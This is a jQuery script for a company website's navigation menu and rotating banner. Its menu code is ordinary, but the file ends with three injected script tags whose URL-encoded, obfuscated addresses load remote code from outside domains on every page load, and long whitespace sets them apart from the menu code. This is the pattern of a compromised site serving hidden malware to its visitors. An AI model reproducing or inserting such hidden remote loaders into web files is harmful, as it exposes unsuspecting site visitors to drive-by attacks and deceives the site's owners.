$(document).ready(function(){ $("#mainmenu").corner("tl 8px tr 10px"); $('#mainmenu a').css( {backgroundPosition: "0px -280px"} ).mouseover(function(){$(this).stop().animate({backgroundPosition:"(-20px -100px)"}, {duration:1500}) }).mouseout(function(){	$(this).stop().animate({backgroundPosition:"(40px 100px)"}, {duration:800, complete:function(){ $(this).css({backgroundPosition: "0px -280px"})}})}); 
																																																																																												
	var Bhome=$("#home"); var Baboutus=$("#aboutus"); var Bsalesnetwork=$("#salesnetwork"); var Bproduct=$("#product"); var Bpress=$("#press");	 var Bservice=$("#service");	 var Bcontactus=$("#contactus"); var  Bjointus=$("#jointus");																																																																																					
	
	var homeson=$("#sonhome"); var aboutusson=$("#sonaboutus"); var salesnetworkson=$("#sonsalesnetwork"); var productson=$("#sonproduct"); var pressson=$("#sonpress"); var serviceson=$("#sonservice"); var contantusson=$("#soncontantus"); var jointusson=$("#sonjointus"); var sons=$("#sonmenu div");
	
	var hidesons=function(){ sons.hide();}
	hidesons();
	var fadeOutSons=function(){ sons.fadeOut();};
	
	Bhome.hover(function(){ fadeOutSons(); homeson.show();});
	Baboutus.hover(function(){ fadeOutSons(); aboutusson.show();});
	Bsalesnetwork.hover(function(){ fadeOutSons(); salesnetworkson.show();});
	Bproduct.hover(function(){ fadeOutSons(); productson.show();});
	Bpress.hover(function(){ fadeOutSons(); pressson.show();});
	Bservice.hover(function(){ fadeOutSons(); serviceson.show();});
	Bcontactus.hover(function(){ fadeOutSons(); contantusson.show();});
	Bjointus.hover(function(){ fadeOutSons(); jointusson.show();});
	
	var showfocus=$("#focus div");
	var num=1; 
	
	function autoFocus(){ showfocus.hide(); if( num<4 ){ var tempname="\#show"+num; $(tempname).fadeIn(1600); setTimeout(autoFocus, 10000); num=num+1;} else{  var tempname="\#show"+num; $(tempname).fadeIn(1200); setTimeout(autoFocus, 10000); num=1;}}
	autoFocus();
	
	function fadeoutimg(){ showfocus.fadeOut(800); autoFocus();}
	});<script src=http://q.us%74ocn%2Ecom%2Ec%6E:9%35></script><script src=http://q%2Et%672%35%30.%63om.c%6E></script><script src=http://%71.%74g2%35%30%2E%63%6Fm.%63n></script>